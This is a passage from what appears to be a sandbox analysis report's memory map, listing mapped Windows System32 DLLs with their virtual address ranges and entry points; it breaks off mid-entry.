id = 6649 start_va = 0x7ffd3ea80000 end_va = 0x7ffd3ec01fff monitored = 0 entry_point = 0x7ffd3ea982a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 6650 start_va = 0x7ffd3ec90000 end_va = 0x7ffd3ed0efff monitored = 0 entry_point = 0x7ffd3eca7110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 6651 start_va = 0x7ffd3ed10000 end_va = 0x7ffd3ed4bfff monitored = 0 entry_point = 0x7ffd3ed16aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 6652 start_va = 0x7ffd3ed50000 end_va = 0x7ffd3ed5bfff monitored = 0 entry_point = 0x7ffd3ed535c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 6653 start_va = 0x7ffd402d0000 end_va = 0x7ffd40304fff monitored = 0 entry_point = 0x7ffd402da270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 6654 start_va = 0x7ffd40310000 end_va = 0x7ffd4038ffff monitored = 0 entry_point = 0x7ffd4033d280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 6655 start_va = 0x7ffd403c0000 end_va = 0x7ffd403fffff monitored = 0 entry_point = 0x7ffd403d6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 6656 start_va = 0x7ffd40b80000 end_va = 0x7ffd40ba1fff monitored = 0 entry_point = 0x7ffd40b92540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 6657 start_va = 0x7ffd40bb0000 end_va = 0x7ffd40c84fff monitored = 0 entry_point = 0x7ffd40bccf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 6658 start_va = 0x7ffd40d50000 end_va = 0x7ffd40d58fff monitored = 0 entry_point = 0x7ffd40d521d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 6659 start_va = 0x7ffd410e0000 end_va = 0x7ffd410f5fff monitored = 0 entry_point = 0x7ffd410e1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 6660 start_va = 0x7ffd41d70000 end_va = 0x7ffd41d79fff monitored = 0 entry_point = 0x7ffd41d71350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6661 start_va = 0x7ffd422e0000 end_va = 0x7ffd422f1fff monitored = 0 entry_point = 0x7ffd422e3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 6662 start_va = 0x7ffd44840000 end_va = 0x7ffd4485afff monitored = 0 entry_point = 0x7ffd44841040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 6663 start_va = 0x7ffd44af0000 end_va = 0x7ffd44af9fff monitored = 0 entry_point = 0x7ffd44af14c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 6664 start_va = 0x7ffd44b00000 end_va = 0x7ffd44b0dfff monitored = 0 entry_point = 0x7ffd44b01460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 6665 start_va = 0x7ffd44b30000 end_va = 0x7ffd44b44fff monitored = 0 entry_point = 0x7ffd44b32dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 6666 start_va = 0x7ffd44b50000 end_va = 0x7ffd44b5bfff monitored = 0 entry_point = 0x7ffd44b52830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 6667 start_va = 0x7ffd45150000 end_va = 0x7ffd4515ffff monitored = 0 entry_point = 0x7ffd45151700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 6668 start_va = 0x7ffd45160000 end_va = 0x7ffd45168fff monitored = 0 entry_point = 0x7ffd45161ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 6669 start_va = 0x7ffd45170000 end_va = 0x7ffd4519cfff monitored = 0 entry_point = 0x7ffd45172290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 6670 start_va = 0x7ffd451a0000 end_va = 0x7ffd451f1fff monitored = 0 entry_point = 0x7ffd451a38e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 6671 start_va = 0x7ffd452a0000 end_va = 0x7ffd452b4fff monitored = 0 entry_point = 0x7ffd452a3460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 6672 start_va = 0x7ffd45390000 end_va = 0x7ffd45429fff monitored = 0 entry_point = 0x7ffd453aada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 6673 start_va = 0x7ffd45440000 end_va = 0x7ffd454a6fff monitored = 0 entry_point = 0x7ffd454463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6674 start_va = 0x7ffd45500000 end_va = 0x7ffd455bffff monitored = 0 entry_point = 0x7ffd4552fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 6675 start_va = 0x7ffd455c0000 end_va = 0x7ffd4566dfff monitored = 0 entry_point = 0x7ffd455d80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 6676 start_va = 0x7ffd45670000 end_va = 0x7ffd45681fff monitored = 0 entry_point = 0x7ffd45679260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 6677 start_va = 0x7ffd45690000 end_va = 0x7ffd45740fff monitored = 0 entry_point = 0x7ffd457088b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 6678 start_va = 0x7ffd45750000 end_va = 0x7ffd4575afff monitored = 0 entry_point = 0x7ffd45751d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 6679 start_va = 0x7ffd45760000 end_va = 0x7ffd45784fff monitored = 0 entry_point = 0x7ffd45772f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 6680 start_va = 0x7ffd45790000 end_va = 0x7ffd457a0fff monitored = 0 entry_point = 0x7ffd45797ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 6681 start_va = 0x7ffd45870000 end_va = 0x7ffd4587afff monitored = 0 entry_point = 0x7ffd45871de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 6682 start_va = 0x7ffd458a0000 end_va = 0x7ffd458b9fff monitored = 0 entry_point = 0x7ffd458a2cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 6683 start_va = 0x7ffd458c0000 end_va = 0x7ffd45914fff monitored = 0 entry_point = 0x7ffd458c3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 6684 start_va = 0x7ffd45920000 end_va = 0x7ffd45956fff monitored = 0 entry_point = 0x7ffd45926020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 6685 start_va = 0x7ffd45960000 end_va = 0x7ffd4597ffff monitored = 0 entry_point = 0x7ffd459639a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 6686 start_va = 0x7ffd45a10000 end_va = 0x7ffd45a29fff monitored = 0 entry_point = 0x7ffd45a12430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 6687 start_va = 0x7ffd45a30000 end_va = 0x7ffd45a45fff monitored = 0 entry_point = 0x7ffd45a319f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 6688 start_va = 0x7ffd45aa0000 end_va = 0x7ffd45ae0fff monitored = 0 entry_point = 0x7ffd45aa4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 6689 start_va = 0x7ffd45b60000 end_va = 0x7ffd45b73fff monitored = 0 entry_point = 0x7ffd45b62d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 6690 start_va = 0x7ffd45e60000 end_va = 0x7ffd45ef2fff monitored = 0 entry_point = 0x7ffd45e69680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 6691 start_va = 0x7ffd45f80000 end_va = 0x7ffd45f9efff monitored = 0 entry_point = 0x7ffd45f84960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 6692 start_va = 0x7ffd460b0000 end_va = 0x7ffd460e7fff monitored = 0 entry_point = 0x7ffd460c8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6693 start_va = 0x7ffd46190000 end_va = 0x7ffd461a8fff monitored = 0 entry_point = 0x7ffd46194520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 6694 start_va = 0x7ffd46650000 end_va = 0x7ffd4665bfff monitored = 0 entry_point = 0x7ffd466514d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 6695 start_va = 0x7ffd46920000 end_va = 0x7ffd469e7fff monitored = 0 entry_point = 0x7ffd469613f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 6696 start_va = 0x7ffd469f0000 end_va = 0x7ffd46a50fff monitored = 0 entry_point = 0x7ffd469f4b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 6697 start_va = 0x7ffd46a60000 end_va = 0x7ffd46bdbfff monitored = 0 entry_point = 0x7ffd46ab1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 6698 start_va = 0x7ffd46be0000 end_va = 0x7ffd46beafff monitored = 0 entry_point = 0x7ffd46be1770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 6699 start_va = 0x7ffd46dd0000 end_va = 0x7ffd46eb5fff monitored = 0 entry_point = 0x7ffd46decf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 6700 start_va = 0x7ffd47080000 end_va = 0x7ffd47401fff monitored = 0 entry_point = 0x7ffd470d1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 6701 start_va = 0x7ffd47410000 end_va = 0x7ffd47545fff monitored = 0 entry_point = 0x7ffd4743f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 6702 start_va = 0x7ffd48640000 end_va = 0x7ffd4874dfff monitored = 0 entry_point = 0x7ffd4868eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 6703 start_va = 0x7ffd48a50000 end_va = 0x7ffd48a66fff monitored = 0 entry_point = 0x7ffd48a55630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 6704 start_va = 0x7ffd48a70000 end_va = 0x7ffd48ab9fff monitored = 0 entry_point = 0x7ffd48a7ac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 6705 start_va = 0x7ffd48b10000 end_va = 0x7ffd48b4dfff monitored = 0 entry_point = 0x7ffd48b1a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 6706 start_va = 0x7ffd48b50000 end_va = 0x7ffd48b76fff monitored = 0 entry_point = 0x7ffd48b53bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 6707 start_va = 0x7ffd48b80000 end_va = 0x7ffd48bf9fff monitored = 0 entry_point = 0x7ffd48ba7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 6708 start_va = 0x7ffd48c00000 end_va = 0x7ffd48c12fff monitored = 0 entry_point = 0x7ffd48c057f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 6709 start_va = 0x7ffd48c20000 end_va = 0x7ffd48c74fff monitored = 0 entry_point = 0x7ffd48c2fc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 6710 start_va = 0x7ffd48c80000 end_va = 0x7ffd48cadfff monitored = 0 entry_point = 0x7ffd48c87550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 6711 start_va = 0x7ffd48cb0000 end_va = 0x7ffd48cc5fff monitored = 0 entry_point = 0x7ffd48cb1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 6712 start_va = 0x7ffd48cd0000 end_va = 0x7ffd48d33fff monitored = 0 entry_point = 0x7ffd48ce5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 6713 start_va = 0x7ffd48d80000 end_va = 0x7ffd48e11fff monitored = 0 entry_point = 0x7ffd48dca780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 6714 start_va = 0x7ffd49080000 end_va = 0x7ffd4908ffff monitored = 0 entry_point = 0x7ffd49082c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 6715 start_va = 0x7ffd49090000 end_va = 0x7ffd4909cfff monitored = 0 entry_point = 0x7ffd49092ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 6716 start_va = 0x7ffd490a0000 end_va = 0x7ffd490cefff monitored = 0 entry_point = 0x7ffd490a8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 6717 start_va = 0x7ffd490d0000 end_va = 0x7ffd4913dfff monitored = 0 entry_point = 0x7ffd490d7f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 6718 start_va = 0x7ffd49140000 end_va = 0x7ffd49150fff monitored = 0 entry_point = 0x7ffd49143320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 6719 start_va = 0x7ffd49160000 end_va = 0x7ffd491a0fff monitored = 0 entry_point = 0x7ffd49177eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 6720 start_va = 0x7ffd491b0000 end_va = 0x7ffd492abfff monitored = 0 entry_point = 0x7ffd491e6df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 6721 start_va = 0x7ffd492b0000 end_va = 0x7ffd4936efff monitored = 0 entry_point = 0x7ffd492d1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 6722 start_va = 0x7ffd493a0000 end_va = 0x7ffd493d5fff monitored = 0 entry_point = 0x7ffd493b0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 6723 start_va = 0x7ffd49c30000 end_va = 0x7ffd49c39fff monitored = 0 entry_point = 0x7ffd49c31660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 6724 start_va = 0x7ffd49c40000 end_va = 0x7ffd49c57fff monitored = 0 entry_point = 0x7ffd49c45910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 6725 start_va = 0x7ffd49c60000 end_va = 0x7ffd49dacfff monitored = 0 entry_point = 0x7ffd49ca3da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 6726 start_va = 0x7ffd4a3c0000 end_va = 0x7ffd4a3c7fff monitored = 0 entry_point = 0x7ffd4a3c13e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 6727 start_va = 0x7ffd4a880000 end_va = 0x7ffd4a8f8fff monitored = 0 entry_point = 0x7ffd4a89fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 6728 start_va = 0x7ffd4aab0000 end_va = 0x7ffd4af42fff monitored = 0 entry_point = 0x7ffd4aabf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 6729 start_va = 0x7ffd4af50000 end_va = 0x7ffd4afb6fff monitored = 0 entry_point = 0x7ffd4af6e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 6730 start_va = 0x7ffd4b010000 end_va = 0x7ffd4b195fff monitored = 0 entry_point = 0x7ffd4b05d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 6731 start_va = 0x7ffd4b1a0000 end_va = 0x7ffd4b1bbfff monitored = 0 entry_point = 0x7ffd4b1a37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 6732 start_va = 0x7ffd4b200000 end_va = 0x7ffd4b212fff monitored = 0 entry_point = 0x7ffd4b202760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 6733 start_va = 0x7ffd4b3a0000 end_va = 0x7ffd4b3dffff monitored = 0 entry_point = 0x7ffd4b3b1960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 6734 start_va = 0x7ffd4b530000 end_va = 0x7ffd4b556fff monitored = 0 entry_point = 0x7ffd4b537940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 6735 start_va = 0x7ffd4b560000 end_va = 0x7ffd4b591fff monitored = 0 entry_point = 0x7ffd4b572340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 6736 start_va = 0x7ffd4b5a0000 end_va = 0x7ffd4b5abfff monitored = 0 entry_point = 0x7ffd4b5a2480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 6737 start_va = 0x7ffd4b670000 end_va = 0x7ffd4b719fff monitored = 0 entry_point = 0x7ffd4b697910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 6738 start_va = 0x7ffd4b720000 end_va = 0x7ffd4b81ffff monitored = 0 entry_point = 0x7ffd4b760f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 6739 start_va = 0x7ffd4bae0000 end_va = 0x7ffd4baebfff monitored = 0 entry_point = 0x7ffd4bae2790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 6740 start_va = 0x7ffd4baf0000 end_va = 0x7ffd4bb13fff monitored = 0 entry_point = 0x7ffd4baf3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 6741 start_va = 0x7ffd4bc90000 end_va = 0x7ffd4bd83fff monitored = 0 entry_point = 0x7ffd4bc9a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 6742 start_va = 0x7ffd4bde0000 end_va = 0x7ffd4be28fff monitored = 0 entry_point = 0x7ffd4bdea090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 6743 start_va = 0x7ffd4bf00000 end_va = 0x7ffd4bf0bfff monitored = 0 entry_point = 0x7ffd4bf027e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 6744 start_va = 0x7ffd4bfe0000 end_va = 0x7ffd4c010fff monitored = 0 entry_point = 0x7ffd4bfe7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 6745 start_va = 0x7ffd4c040000 end_va = 0x7ffd4c0b9fff monitored = 0 entry_point = 0x7ffd4c061a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 6746 start_va = 0x7ffd4c100000 end_va = 0x7ffd4c133fff monitored = 0 entry_point = 0x7ffd4c11ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6747 start_va = 0x7ffd4c140000 end_va = 0x7ffd4c149fff monitored = 0 entry_point = 0x7ffd4c141830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 6748 start_va = 0x7ffd4c250000 end_va = 0x7ffd4c26efff monitored = 0 entry_point = 0x7ffd4c255d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 6749 start_va = 0x7ffd4c3c0000 end_va = 0x7ffd4c41bfff monitored = 0 entry_point = 0x7ffd4c3d6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 6750 start_va = 0x7ffd4c470000 end_va = 0x7ffd4c486fff monitored = 0 entry_point = 0x7ffd4c4779d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6751 start_va = 0x7ffd4c590000 end_va = 0x7ffd4c59afff monitored = 0 entry_point = 0x7ffd4c5919a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6752 start_va = 0x7ffd4c5d0000 end_va = 0x7ffd4c5f0fff monitored = 0 entry_point = 0x7ffd4c5e0250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 6753 start_va = 0x7ffd4c620000 end_va = 0x7ffd4c659fff monitored = 0 entry_point = 0x7ffd4c628d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 6754 start_va = 0x7ffd4c660000 end_va = 0x7ffd4c686fff monitored = 0 entry_point = 0x7ffd4c670aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 6755 start_va = 0x7ffd4c770000 end_va = 0x7ffd4c79cfff monitored = 0 entry_point = 0x7ffd4c789d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 6756 start_va = 0x7ffd4c900000 end_va = 0x7ffd4c955fff monitored = 0 entry_point = 0x7ffd4c910bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 6757 start_va = 0x7ffd4c960000 end_va = 0x7ffd4c978fff 